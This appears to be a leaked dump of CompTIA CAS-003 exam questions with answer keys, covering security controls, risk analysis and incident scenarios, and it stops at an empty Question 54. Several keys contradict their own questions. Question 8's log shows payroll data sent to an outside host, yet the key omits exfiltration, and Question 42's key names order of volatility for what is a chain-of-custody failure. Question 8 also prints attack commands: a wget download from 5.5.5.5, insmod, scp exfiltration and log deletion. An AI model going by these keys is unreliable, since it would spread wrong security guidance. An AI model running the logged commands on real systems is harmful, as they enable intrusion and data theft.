CAS-003

Number: CAS-003
Passing Score: 800
Time Limit: 120 min
File Version: 1

CAS-003

https://www.gratisexam.com/

Exam A

QUESTION 1
A company's Chief Operating Officer (COO) is concerned about the potential for competitors to infer proprietary information gathered from employees' social media accounts.

Which of the following methods should the company use to gauge its own social media threat level without targeting individual employees?

A. Utilize insider threat consultants to provide expertise.
B. Require that employees divulge social media accounts.
C. Leverage Big Data analytical algorithms.
D. Perform social engineering tests to evaluate employee awareness.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 2
A security administrator is hardening a TrustedSolaris server that processes sensitive data. The data owner has established the following security requirements:

- The data is for internal consumption only and shall not be distributed to outside individuals
- The systems administrator should not have access to the data processed by the server
- The integrity of the kernel image is maintained
-

Which of the following host-based security controls BEST enforce the data owner's requirements? (Choose three.)

A. SELinux
B. DLP
C. HIDS

D. Host-based firewall
E. Measured boot
F. Data encryption
G. Watermarking

Correct Answer: CEF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 3
A company has entered into a business agreement with a business partner for managed human resources services. The Chief Information Security Officer (CISO) has been asked to provide documentation that is required to set up a business-to-business VPN between the two organizations. Which of the following is required in this scenario?

A. ISA
B. BIA
C. SLA
D. RA

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 4
Given the following output from a local PC:

```
C:\>ipconfig
Windows IP Configuration

Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix . : comptia.org
 Link-local IPv6 Address..... : fe80::4551:67ba:77a6:62e1%11
 IPv4 Address................ : 172.30.0.28
 Subnet Mask................. : 255.255.0.0
 Default Gateway............. : 172.30.0.5
C:\>
```

Which of the following ACLs on a stateful host-based firewall would allow the PC to serve an intranet website?

A. `Allow 172.30.0.28:80 -> ANY`
B. `Allow 172.30.0.28:80 -> 172.30.0.0/16`
C. `Allow 172.30.0.28:80 -> 172.30.0.28:443`
D. `Allow 172.30.0.28:80 -> 172.30.0.28:53`

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 5
A penetration tester has been contracted to conduct a physical assessment of a site. Which of the following is the MOST plausible method of social engineering to be conducted during this engagement?

A. Randomly calling customer employees and posing as a help desk technician requiring user password to resolve issues
B. Posing as a copier service technician and indicating the equipment had “phoned home” to alert the technician for a service call
C. Simulating an illness while at a client location for a sales call and then recovering once listening devices are installed
D. Obtaining fake government credentials and impersonating law enforcement to gain access to a company facility

Correct Answer: B

Section: (none)
Explanation

Explanation/Reference:

QUESTION 6
A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet:

```
C:\nslookup -querytype=MX comptia.org
Server: Unknown
Address: 198.51.100.45

comptia.org MX preference=10, mail exchanger = 92.68.102.33
comptia.org MX preference=20, mail exchanger = exchgl.comptia.org
exchgl.comptia.org       Internet address = 192.168.102.67
```

Which of the following should the penetration tester conclude about the command output?

A. The public/private views on the Comptia.org DNS servers are misconfigured
B. Comptia.org is running an older mail server, which may be vulnerable to exploits
C. The DNS SPF records have not been updated for Comptia.org
D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 7
A security engineer is designing a system in which offshore, outsourced staff can push code from the development environment to the production environment securely. The security engineer is concerned with data loss, while the business does not want to slow down its development process. Which of the following solutions BEST balances security requirements with business need?

A. Set up a VDI environment that prevents copying and pasting to the local workstations of outsourced staff members
B. Install a client-side VPN on the staff laptops and limit access to the development network
C. Create an IPSec VPN tunnel from the development network to the office of the outsourced staff

D. Use online collaboration tools to initiate workstation-sharing sessions with local staff who have access to the development network

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 8
A security administrator was informed that a server unexpectedly rebooted. The administrator received an export of syslog entries for analysis:

```
May 4  08:08:00  Server A: on console user jsmith: exec 'ls -l
/data/finance/payroll/*.xls'
May 4  08:08:00  Server A: on console user jsmith: Access denied on
/data/finance/
May 4  08:08:07  Server A: on console user jsmith: exec 'whoami'
May 4  08:08:10  Server A: on console user jsmith: exec 'wget
5.5.5.5/modinject.o -O /tmp/downloads/modinject.o'
May 4  08:08:20  Server A: on console user jsmith: exec 'insmod
/tmp/downloads/modinject.o'
May 4  08:08:10  Server A: on console user root: exec 'whoami'
May 4  08:09:37  Server A: on console user root: exec 'ls -
l/data/finance/payroll/*.xls'
May 4  08:09:43  Server A: on console user root: exec 'gpg -e
/data/finance/payroll/gl-May2017.xls'
May 4  08:09:55  Server A: on console user root: exec 'scp
/data/finance/payroll/gl-May2017.gpg root@5.5.5.5:'
May 4  08:10:03  Server A: on console user root: exec 'rm-rf
/var/log/syslog'
May 4  08:10:05  Server A: on console user jsmith: exec 'rmmod
modinject.o'
May 4  08:10:05  Server A: kernel: PANIC 'unable to handle paging request
at 0x45A800c'
May 4  08:10:05  Server A: kernel: Automatic reboot initiated
May 4  08:10:06  Server A: kernel: Syncing disks
May 4  08:10:06  Server A: kernel: Reboot
May 4  08:12:25  Server A: kernel: System init
May 4  08:12:25  Server A: kernel: Configured from console by console
May 4  08:12:42  Server A: kernel: Logging initialized (build:5.8.0.2469)
May 4  08:13:34  Server A: kernel: System changed state to up
May 4  08:14:23  Server A: kernel: System startup succeeded
```

Which of the following does the log sample indicate? (Choose two.)

A. A root user performed an injection attack via kernel module
B. Encrypted payroll data was successfully decrypted by the attacker
C. Jsmith successfully used a privilege escalation attack
D. Payroll data was exfiltrated to an attacker-controlled host

E. Buffer overflow in memory paging caused a kernel panic
F. Syslog entries were lost due to the host being rebooted

Correct Answer: CE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 9
A recent penetration test identified that a web server has a major vulnerability. The web server hosts a critical shipping application for the company and requires 99.99% availability. Attempts to fix the vulnerability would likely break the application. The shipping application is due to be replaced in the next three months. Which of the following would BEST secure the web server until the replacement web server is ready?

A. Patch management
B. Antivirus
C. Application firewall
D. Spam filters
E. HIDS

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 10
To prepare for an upcoming audit, the Chief Information Security Officer (CISO) asks for all 1200 vulnerabilities on production servers to be remediated. The security engineer must determine which vulnerabilities represent real threats that can be exploited so resources can be prioritized to migrate the most dangerous risks. The CISO wants the security engineer to act in the same manner as would an external threat, while using vulnerability scan results to prioritize any actions. Which of the following approaches is described?

A. Blue team
B. Red team
C. Black box
D. White team

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Reference: http://resources.infosecinstitute.com/the-types-of-penetration-testing/#gref

QUESTION 11
An engineer is evaluating the control profile to assign to a system containing PII, financial, and proprietary data.

Data Type	Confidentiality	Integrity	Availability
PII	High	Medium	Low
Proprietary	High	High	Medium
Competitive	High	Medium	Medium
Industrial	Low	Low	High
Financial	Medium	High	Low

Based on the data classification table above, which of the following BEST describes the overall classification?

A. High confidentiality, high availability
B. High confidentiality, medium availability
C. Low availability, low confidentiality
D. High integrity, low availability

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 12

An organization is in the process of integrating its operational technology and information technology areas. As part of the integration, some of the cultural aspects it would like to see include more efficient use of resources during change windows, better protection of critical infrastructure, and the ability to respond to incidents. The following observations have been identified:

1. The ICS supplier has specified that any software installed will result in lack of support.
2. There is no documented trust boundary defined between the SCADA and corporate networks.
3. Operational technology staff have to manage the SCADA equipment via the engineering workstation.
4. There is a lack of understanding of what is within the SCADA network.

Which of the following capabilities would BEST improve the security position?

A. VNC, router, and HIPS
B. SIEM, VPN, and firewall
C. Proxy, VPN, and WAF
D. IDS, NAC, and log monitoring

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 13
A company has hired an external security consultant to conduct a thorough review of all aspects of corporate security. The company is particularly concerned about unauthorized access to its physical offices resulting in network compromises. Which of the following should the consultant recommend be performed to evaluate potential risks?

A. The consultant should attempt to gain access to physical offices through social engineering and then attempt data exfiltration
B. The consultant should be granted access to all physical access control systems to review logs and evaluate the likelihood of the threat
C. The company should conduct internal audits of access logs and employee social media feeds to identify potential insider threats
D. The company should install a temporary CCTV system to detect unauthorized access to physical offices

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 14
The Chief Information Security Officer (CISO) for an organization wants to develop custom IDS rulesets faster, prior to new rules being released by IDS vendors. Which of the following BEST meets this objective?

A. Identify a third-party source for IDS rules and change the configuration on the applicable IDSs to pull in the new rulesets
B. Encourage cybersecurity analysts to review open-source intelligence products and threat database to generate new IDS rules based on those sources
C. Leverage the latest TCP- and UDP-related RFCs to arm sensors and IDSs with appropriate heuristics for anomaly detection
D. Use annual hacking conventions to document the latest attacks and threats, and then develop IDS rules to counter those threats

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 15
An engineer is assisting with the design of a new virtualized environment that will house critical company services and reduce the datacenter's physical footprint. The company has expressed concern about the integrity of operating systems and wants to ensure a vulnerability exploited in one datacenter segment would not lead to the compromise of all others. Which of the following design objectives should the engineer complete to BEST mitigate the company's concerns? (Choose two.)

A. Deploy virtual desktop infrastructure with an OOB management network
B. Employ the use of vTPM with boot attestation
C. Leverage separate physical hardware for sensitive services and data
D. Use a community CSP with independently managed security services
E. Deploy to a private cloud with hosted hypervisors on each physical machine

Correct Answer: AC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 16
After embracing a BYOD policy, a company is faced with new security challenges from unmanaged mobile devices and laptops. The company's IT department has seen a large number of the following incidents:

- Duplicate IP addresses
- Rogue network devices
- Infected systems probing the company's network

Which of the following should be implemented to remediate the above issues? (Choose two.)

A. Port security
B. Route protection
C. NAC
D. HIPS
E. NIDS

Correct Answer: BC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 17
A recent assessment identified that several users' mobile devices are running outdated versions of endpoint security software that do not meet the company's security policy. Which of the following should be performed to ensure the users can access the network and meet the company's security requirements?

A. Vulnerability assessment
B. Risk assessment
C. Patch management
D. Device quarantine
E. Incident management

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 18
A systems administrator at a medical imaging company discovers protected health information (PHI) on a general-purpose file server. Which of the following steps should the administrator take NEXT?

A. Isolate all of the PHI on its own VLAN and keep it segregated at Layer 2
B. Immediately encrypt all PHI with AES-256
C. Delete all PHI from the network until the legal department is consulted
D. Consult the legal department to determine legal requirements

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 19
A Chief Information Security Officer (CISO) is reviewing the results of a gap analysis with an outside cybersecurity consultant. The gap analysis reviewed all procedural and technical controls and found the following:

- High-impact controls implemented: 6 out of 10
- Medium-impact controls implemented: 409 out of 472
- Low-impact controls implemented: 97 out of 1000

The report includes a cost-benefit analysis for each control gap. The analysis yielded the following information:

- Average high-impact control implementation cost: $15,000; Probable ALE for each high-impact control gap: $95,000
- Average medium-impact control implementation cost: $6,250; Probable ALE for each medium-impact control gap: $11,000

Due to the technical construction and configuration of the corporate enterprise, slightly more than 50% of the medium-impact controls will take two years to fully implement. Which of the following conclusions could the CISO draw from the analysis?

A. Too much emphasis has been placed on eliminating low-risk vulnerabilities in the past
B. The enterprise security team has focused exclusively on mitigating high-level risks
C. Because of the significant ALE for each high-risk vulnerability, efforts should be focused on those controls
D. The cybersecurity team has balanced residual risk for both high and medium controls

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 20
After investigating virus outbreaks that have cost the company $1000 per incident, the company's Chief Information Security Officer (CISO) has been researching new antivirus software solutions to use and be fully supported for the next two years. The CISO has narrowed down the potential solutions to four candidates that meet all the company's performance and capability requirements:

	Solution Cost	Year 1 Support	Year 2 Support	Estimated Yearly Incidents
Product A	$10,000	$3,000	$1,000	1
Product B	$14,250	$1,000	$1,000	0
Product C	$9,500	$2,000	$2,000	1
Product D	$7,000	$1,000	$2,000	2
Product E	$7,000	$4,000	$4,000	0

Using the table above, which of the following would be the BEST business-driven choice among the five possible solutions?

A. Product A
B. Product B
C. Product C
D. Product D
E. Product E

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 21
A company monitors the performance of all web servers using WMI. A network administrator informs the security engineer that web servers hosting the company's client-facing portal are running slowly today. After some investigation, the security engineer notices a large number of attempts at enumerating host information via SNMP from multiple IP addresses. Which of the following would be the BEST technique for the security engineer to employ in an attempt to prevent reconnaissance activity?

A. Install a HIPS on the web servers
B. Disable inbound traffic from offending sources
C. Disable SNMP on the web servers
D. Install anti-DDoS protection in the DMZ

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 22
One of the objectives of a bank is to instill a security awareness culture. Which of the following are techniques that could help to achieve this? (Choose two.)

A. Blue teaming
B. Phishing simulations
C. Lunch-and-learn
D. Random audits
E. Continuous monitoring
F. Separation of duties

Correct Answer: BE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 23
The risk subcommittee of a corporate board typically maintains a master register of the most prominent risks to the company. A centralized holistic view of risk is particularly important to the corporate Chief Information Security Officer (CISO) because:

A. IT systems are maintained in silos to minimize interconnected risks and provide clear risk boundaries used to implement compensating controls
B. risks introduced by a system in one business unit can affect other business units in ways in which the individual business units have no awareness
C. corporate general counsel requires a single system boundary to determine overall corporate risk exposure
D. major risks identified by the subcommittee merit the prioritized allocation of scare funding to address cybersecurity concerns

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 24
An insurance company has two million customers and is researching the top transactions on its customer portal. It identifies that the top transaction is currently password reset. Due to users not remembering their secret questions, a large number of calls are consequently routed to the contact center for manual password resets. The business wants to develop a mobile application to improve customer engagement in the future, continue with a single factor of authentication, minimize management overhead of the solution, remove passwords, and eliminate to the contact center. Which of the following techniques would BEST meet the requirements? (Choose two.)

A. Magic link sent to an email address
B. Customer ID sent via push notification
C. SMS with OTP sent to a mobile number
D. Third-party social login
E. Certificate sent to be installed on a device
F. Hardware tokens sent to customers

Correct Answer: CE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 25
A security engineer has implemented an internal user access review tool so service teams can baseline user accounts and group memberships. The tool is functional and popular among its initial set of onboarded teams. However, the tool has not been built to cater to a broader set of internal teams yet. The engineer has sought feedback from internal stakeholders, and a list of summarized requirements is as follows:

- The tool needs to be responsive so service teams can query it, and then perform an automated response action.
- The tool needs to be resilient to outages so service teams can perform the user access review at any point in time and meet their own SLAs.
- The tool will become the system-of-record for approval, reapproval, and removal life cycles of group memberships and must allow for data retrieval after failure.

Which of the following need specific attention to meet the requirements listed above? (Choose three.)

A. Scalability
B. Latency
C. Availability
D. Usability
E. Recoverability
F. Maintainability

Correct Answer: BCE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 26
The board of a financial services company has requested that the senior security analyst acts as a cybersecurity advisor in order to comply with recent federal legislation. The analyst is required to give a report on current cybersecurity and threat trends in the financial services industry at the next board meeting. Which of the following would be the BEST methods to prepare this report? (Choose two.)

A. Review the CVE database for critical exploits over the past year
B. Use social media to contact industry analysts
C. Use intelligence gathered from the Internet relay chat channels
D. Request information from security vendors and government agencies

E. Perform a penetration test of the competitor's network and share the results with the board

Correct Answer: AD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 27
The Chief Information Security Officer (CISO) has asked the security team to determine whether the organization is susceptible to a zero-day exploit utilized in the banking industry and whether attribution is possible. The CISO has asked what process would be utilized to gather the information, and then wants to apply signatureless controls to stop these kinds of attacks in the future. Which of the following are the MOST appropriate ordered steps to take to meet the CISO's request?

A. 1. Perform the ongoing research of the best practices
   2. Determine current vulnerabilities and threats
   3. Apply Big Data techniques
   4. Use antivirus control
B. 1. Apply artificial intelligence algorithms for detection
   2. Inform the CERT team
   3. Research threat intelligence and potential adversaries
   4. Utilize threat intelligence to apply Big Data techniques
C. 1. Obtain the latest IOCs from the open source repositories
   2. Perform a sweep across the network to identify positive matches
   3. Sandbox any suspicious files
   4. Notify the CERT team to apply a future proof threat model
D. 1. Analyze the current threat intelligence
   2. Utilize information sharing to obtain the latest industry IOCs
   3. Perform a sweep across the network to identify positive matches
   4. Apply machine learning algorithms

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 28
A software development team is conducting functional and user acceptance testing of internally developed web applications using a COTS solution. For automated testing, the solution uses valid user credentials from the enterprise directory to authenticate to each application. The solution stores the username in plain text and the corresponding password as an encoded string in a script within a file, located on a globally accessible network share. The account credentials used belong to the development team lead. To reduce the risks associated with this scenario while minimizing disruption to ongoing testing, which of the following are the BEST actions to take? (Choose two.)

A. Restrict access to the network share by adding a group only for developers to the share's ACL
B. Implement a new COTS solution that does not use hard-coded credentials and integrates with directory services

C. Obfuscate the username within the script file with encoding to prevent easy identification and the account used
D. Provision a new user account within the enterprise directory and enable its use for authentication to the target applications. Share the username and password with all developers for use in their individual scripts
E. Redesign the web applications to accept single-use, local account credentials for authentication

Correct Answer: AB
Section: (none)
Explanation

Explanation/Reference:

QUESTION 29
Management is reviewing the results of a recent risk assessment of the organization's policies and procedures. During the risk assessment it is determined that procedures associated with background checks have not been effectively implemented. In response to this risk, the organization elects to revise policies and procedures related to background checks and use a third-party to perform background checks on all new employees. Which of the following risk management strategies has the organization employed?

A. Transfer
B. Mitigate
C. Accept
D. Avoid
E. Reject

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 30
A newly hired systems administrator is trying to connect a new and fully updated, but very customized, Android device to access corporate resources. However, the MDM enrollment process continually fails. The administrator asks a security team member to look into the issue. Which of the following is the MOST likely reason the MDM is not allowing enrollment?

A. The OS version is not compatible
B. The OEM is prohibited
C. The device does not support FDE

D. The device is rooted

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 31
A hospital uses a legacy electronic medical record system that requires multicast for traffic between the application servers and databases on virtual hosts that support segments of the application. Following a switch upgrade, the electronic medical record is unavailable despite physical connectivity between the hypervisor and the storage being in place. The network team must enable multicast traffic to restore access to the electronic medical record. The ISM states that the network team must reduce the footprint of multicast traffic on the network.

VLAN	Description
201	Server VLAN1
202	Server VLAN2
400	Hypervisor Management VLAN
680	Storage Management VLAN
700	Database Server VLAN

Using the above information, on which VLANs should multicast be enabled?

A. VLAN201, VLAN202, VLAN400
B. VLAN201, VLAN202, VLAN700
C. VLAN201, VLAN202, VLAN400, VLAN680, VLAN700
D. VLAN400, VLAN680, VLAN700

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 32
A SaaS-based email service provider often receives reports from legitimate customers that their IP netblocks are on blacklists and they cannot send email. The SaaS has confirmed that affected customers typically have IP addresses within broader network ranges and some abusive customers within the same IP ranges may have performed spam campaigns. Which of the following actions should the SaaS provider perform to minimize legitimate customer impact?

A. Inform the customer that the service provider does not have any control over third-party blacklist entries. The customer should reach out to the blacklist operator directly
B. Perform a takedown of any customer accounts that have entries on email blacklists because this is a strong indicator of hostile behavior
C. Work with the legal department and threaten legal action against the blacklist operator if the netblocks are not removed because this is affecting legitimate traffic
D. Establish relationship with a blacklist operators so broad entries can be replaced with more granular entries and incorrect entries can be quickly pruned

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 33
A forensics analyst suspects that a breach has occurred. Security logs show the company's OS patch system may be compromised, and it is serving patches that contain a zero-day exploit and backdoor. The analyst extracts an executable file from a packet capture of communication between a client computer and the patch server. Which of the following should the analyst use to confirm this suspicion?

A. File size
B. Digital signature
C. Checksums
D. Anti-malware software
E. Sandboxing

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 34
A security architect is implementing security measures in response to an external audit that found vulnerabilities in the corporate collaboration tool suite. The report identified the lack of any mechanism to provide confidentiality for electronic correspondence between users and between users and group mailboxes. Which of the following controls would BEST mitigate the identified vulnerability?

A. Issue digital certificates to all users, including owners of group mailboxes, and require S/MIME with AES-256.
B. Federate with an existing PKI provider, and reject all non-signed emails
C. Implement two-factor email authentication, and require users to hash all email messages upon receipt
D. Provide digital certificates to all systems, and eliminate the user group or shared mailboxes

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 35
Which of the following BEST represents a risk associated with merging two enterprises during an acquisition?

A. The consolidation of two different IT enterprises increases the likelihood of the data loss because there are now two backup systems
B. Integrating two different IT systems might result in a successful data breach if threat intelligence is not shared between the two enterprises
C. Merging two enterprise networks could result in an expanded attack surface and could cause outages if trust and permission issues are not handled carefully
D. Expanding the set of data owners requires an in-depth review of all data classification decisions, impacting availability during the review

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 36
Two competing companies experienced similar attacks on their networks from various threat actors. To improve response times, the companies wish to share some threat intelligence about the sources and methods of attack. Which of the following business documents would be BEST to document this engagement?

A. Business partnership agreement
B. Memorandum of understanding

C. Service-level agreement
D. Interconnection security agreement

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Reference: https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-47.pdf

QUESTION 37
An engineer maintains a corporate-owned mobility infrastructure, and the organization requires that all web browsing using corporate-owned resources be monitored. Which of the following would allow the organization to meet its requirement? (Choose two.)

A. Exempt mobile devices from the requirement, as this will lead to privacy violations
B. Configure the devices to use an always-on IPSec VPN
C. Configure all management traffic to be tunneled into the enterprise via TLS
D. Implement a VDI solution and deploy supporting client apps to devices
E. Restrict application permissions to establish only HTTPS connections outside of the enterprise boundary

Correct Answer: BE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 38
Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack?

A. Key risk indicators
B. Lessons learned
C. Recovery point objectives
D. Tabletop exercise

Correct Answer: B
Section: (none)

Explanation

Explanation/Reference:

QUESTION 39
A web developer has implemented HTML5 optimizations into a legacy web application. One of the modifications the web developer made was the following client side optimization:

```
localStorage.setItem("session-cookie", document.cookie);
```

Which of the following should the security engineer recommend?

A. SessionStorage should be used so authorized cookies expire after the session ends
B. Cookies should be marked as "secure" and "HttpOnly"
C. Cookies should be scoped to a relevant domain/path
D. Client-side cookies should be replaced by server-side mechanisms

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 40
A hospital's security team recently determined its network was breached and patient data was accessed by an external entity. The Chief Information Security Officer (CISO) of the hospital approaches the executive management team with this information, reports the vulnerability that led to the breach has already been remediated, and explains the team is continuing to follow the appropriate incident response plan. The executive team is concerned about the hospital's brand reputation and asks the CISO when the incident should be disclosed to the affected patients. Which of the following is the MOST appropriate response?

A. When it is mandated by their legal and regulatory requirements
B. As soon as possible in the interest of the patients
C. As soon as the public relations department is ready to be interviewed
D. When all steps related to the incident response plan are completed
E. Upon the approval of the Chief Executive Officer (CEO) to release information to the public

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 41
A deployment manager is working with a software development group to assess the security of a new version of the organization's internally developed ERP tool. The organization prefers to not perform assessment activities following deployment, instead focusing on assessing security throughout the life cycle. Which of the following methods would BEST assess the security of the product?

A. Static code analysis in the IDE environment
B. Penetration testing of the UAT environment
C. Vulnerability scanning of the production environment
D. Penetration testing of the production environment
E. Peer review prior to unit testing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 42
During a security event investigation, a junior analyst fails to create an image of a server's hard drive before removing the drive and sending it to the forensics analyst. Later, the evidence from the analysis is not usable in the prosecution of the attackers due to the uncertainty of tampering. Which of the following should the junior analyst have followed?

A. Continuity of operations
B. Chain of custody
C. Order of volatility
D. Data recovery

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.computer-forensics-recruiter.com/order-of-volatility/

QUESTION 43
A company contracts a security engineer to perform a penetration test of its client-facing web portal. Which of the following activities would be MOST appropriate?

A. Use a protocol analyzer against the site to see if data input can be replayed from the browser
B. Scan the website through an interception proxy and identify areas for the code injection
C. Scan the site with a port scanner to identify vulnerable services running on the web server
D. Use network enumeration tools to identify if the server is running behind a load balancer

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 44
A large enterprise with thousands of users is experiencing a relatively high frequency of malicious activity from the insider threats. Much of the activity appears to involve internal reconnaissance that results in targeted attacks against privileged users and network file shares. Given this scenario, which of the following would MOST likely prevent or deter these attacks? (Choose two.)

A. Conduct role-based training for privileged users that highlights common threats against them and covers best practices to thwart attacks
B. Increase the frequency at which host operating systems are scanned for vulnerabilities, and decrease the amount of time permitted between vulnerability identification and the application of corresponding patches
C. Enforce command shell restrictions via group policies for all workstations by default to limit which native operating system tools are available for use
D. Modify the existing rules of behavior to include an explicit statement prohibiting users from enumerating user and file directories using available tools and/or accessing visible resources that do not directly pertain to their job functions
E. For all workstations, implement full-disk encryption and configure UEFI instances to require complex passwords for authentication
F. Implement application blacklisting enforced by the operating systems of all machines in the enterprise

Correct Answer: CD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 45
The code snippet below controls all electronic door locks to a secure facility in which the doors should only fail open in an emergency. In the code, “criticalValue” indicates if an emergency is underway:

```
try {
      if (criticalValue)
            openDoors=true
      else
            OpenDoors=false
} catch (e) {
      OpenDoors=true
}
```

Which of the following is the BEST course of action for a security analyst to recommend to the software developer?

A. Rewrite the software to implement fine-grained, conditions-based testing
B. Add additional exception handling logic to the main program to prevent doors from being opened
C. Apply for a life-safety-based risk exception allowing secure doors to fail open
D. Rewrite the software's exception handling routine to fail in a secure state

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 46
Given the code snippet below:

```
#include <stdio.h>
#include <stdlib.h>
int main(void) {
  char username[8];
  printf("Enter your username: ");
  gets(username)
  printf("\n";
  if (username == NULL) {
    printf("you did not enter a username\n");
  }
  it strcmp(username, "admin") {
   printf("%s", "Admin user, enter your physical token value: ");
  // rest of conditional logic here has been snipped for brevity
  } else [
  printf("Standard user, enter your password: ");
  // rest of conditional logic here has been snipped for brevity
  }
}
```

Which of the following vulnerability types in the MOST concerning?

A. Only short usernames are supported, which could result in brute forcing of credentials.
B. Buffer overflow in the username parameter could lead to a memory corruption vulnerability.
C. Hardcoded usernames with different code paths taken depend on which user is entered.
D. Format string vulnerability is present for admin users but not for standard users.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 47
To meet an SLA, which of the following document should be drafted, defining the company's internal interdependent unit responsibilities and delivery timelines.

A. BPA
B. OLA
C. MSA
D. MOU

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

OLA is an agreement between the internal support groups of an institution that supports SLA. According to the Operational Level Agreement, each internal support group has certain responsibilities to the other group. The OLA clearly depicts the performance and relationship of the internal service groups. The main objective of OLA is to ensure that all the support groups provide the intended ServiceLevelAgreement.

QUESTION 48
A company's existing forward proxies support software-based TLS decryption, but are currently at 60% load just dealing with AV scanning and content analysis for HTTP traffic. More than 70% outbound web traffic is currently encrypted. The switching and routing network infrastructure precludes adding capacity, preventing the installation of a dedicated TLS decryption system. The network firewall infrastructure is currently at 30% load and has software decryption modules that can be activated by purchasing additional license keys. An existing project is rolling out agent updates to end-user desktops as part of an endpoint security refresh.

Which of the following is the BEST way to address these issues and mitigate risks to the organization?

A. Purchase the SSL, decryption license for the firewalls and route traffic back to the proxies for end-user categorization and malware analysis.
B. Roll out application whitelisting to end-user desktops and decommission the existing proxies, freeing up network ports.
C. Use an EDP solution to address the malware issue and accept the diminishing role of the proxy for URL categorization in the short team.
D. Accept the current risk and seek possible funding approval in the next budget cycle to replace the existing proxies with ones with more capacity.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 49
A threat advisory alert was just emailed to the IT security staff. The alert references specific types of host operating systems that can allow an unauthorized person to access files on a system remotely. A fix was recently published, but it requires a recent endpoint protection engine to be installed prior to running the fix.

Which of the following MOST likely need to be configured to ensure the system are mitigated accordingly? (Choose two.)

A. Antivirus
B. HIPS
C. Application whitelisting
D. Patch management
E. Group policy implementation
F. Firmware updates

Correct Answer: AD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 50
A Chief Information Security Officer (CISO is reviewing and revising system configuration and hardening guides that were developed internally and have been used several years to secure the organization’s systems. The CISO knows improvements can be made to the guides.

Which of the following would be the BEST source of reference during the revision process?

A. CVE database

B. Internal security assessment reports
C. Industry-accepted standards
D. External vulnerability scan reports
E. Vendor-specific implementation guides

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 51
A systems administrator recently joined an organization and has been asked to perform a security assessment of controls on the organization's file servers, which contain client data from a number of sensitive systems. The administrator needs to compare documented access requirements to the access implemented within the file system.

Which of the following is MOST likely to be reviewed during the assessment? (Choose two.)

A. Access control list
B. Security requirements traceability matrix
C. Data owner matrix
D. Roles matrix
E. Data design document
F. Data access policies

Correct Answer: AF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 52
Security policies that are in place at an organization prohibit USB drives from being utilized across the entire enterprise, with adequate technical controls in place to block them. As a way to still be able to work from various locations on different computing resources, several sales staff members have signed up for a web-based storage solution without the consent of the IT department. However, the operations department is required to use the same service to transmit certain business partner documents.

Which of the following would BEST allow the IT department to monitor and control this behavior?

A. Enabling AAA
B. Deploying a CASB
C. Configuring an NGFW
D. Installing a WAF
E. Utilizing a vTPM

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 53
The legal department has required that all traffic to and from a company's cloud-based word processing and email system is logged. To meet this requirement, the Chief Information Security Officer (CISO) has implemented a next-generation firewall to perform inspection of the secure traffic and has decided to use a cloud-based log aggregation solution for all traffic that is logged.

Which of the following presents a long-term risk to user privacy in this scenario?

A. Confidential or sensitive documents are inspected by the firewall before being logged.
B. Latency when viewing videos and other online content may increase.
C. Reports generated from the firewall will take longer to produce due to more information from inspected traffic.
D. Stored logs may contain non-encrypted usernames and passwords for personal websites.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 54
